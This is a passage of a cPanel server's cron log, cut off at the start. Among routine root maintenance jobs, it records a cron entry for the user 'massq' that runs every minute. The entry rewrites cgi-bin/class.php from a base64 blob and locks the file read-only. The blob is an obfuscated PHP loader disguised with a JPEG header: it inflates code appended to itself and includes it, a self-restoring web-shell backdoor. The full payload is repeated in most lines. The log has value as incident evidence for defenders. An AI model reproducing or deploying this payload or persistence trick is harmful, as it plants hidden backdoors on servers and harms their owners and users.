QV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:47:01 server CROND[20013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:47:01 server CROND[20014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:47:01 server CROND[20015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:48:01 server CROND[20403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:48:01 server CROND[20402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:48:01 server CROND[20404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:49:01 server CROND[20789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:49:01 server CROND[20790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:49:01 server CROND[20791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:50:01 server CROND[21283]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:50:01 server CROND[21285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:50:01 server CROND[21292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:50:01 server CROND[21291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:50:01 server CROND[21298]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 16:50:01 server CROND[21295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:50:01 server CROND[21296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:50:01 server CROND[21301]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:50:01 server CROND[21300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:51:01 server CROND[22130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:51:01 server CROND[22129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:51:01 server CROND[22131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:52:01 server CROND[22517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:52:01 server CROND[22518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:52:01 server CROND[22519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:53:01 server CROND[23066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:53:01 server CROND[23067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:53:01 server CROND[23069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:54:01 server CROND[23454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:54:01 server CROND[23456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:54:01 server CROND[23455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:55:01 server CROND[23935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:55:01 server CROND[23937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:55:01 server CROND[23938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:55:01 server CROND[23940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:55:01 server CROND[23941]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:55:01 server CROND[23943]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:55:02 server CROND[23939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:56:01 server CROND[24758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:56:01 server CROND[24760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:56:01 server CROND[24759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:57:01 server CROND[25147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:57:01 server CROND[25149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:57:01 server CROND[25148]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 16:57:01 server CROND[25146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:58:01 server CROND[25537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:58:01 server CROND[25538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:58:01 server CROND[25536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:59:01 server CROND[25928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:59:01 server CROND[25929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
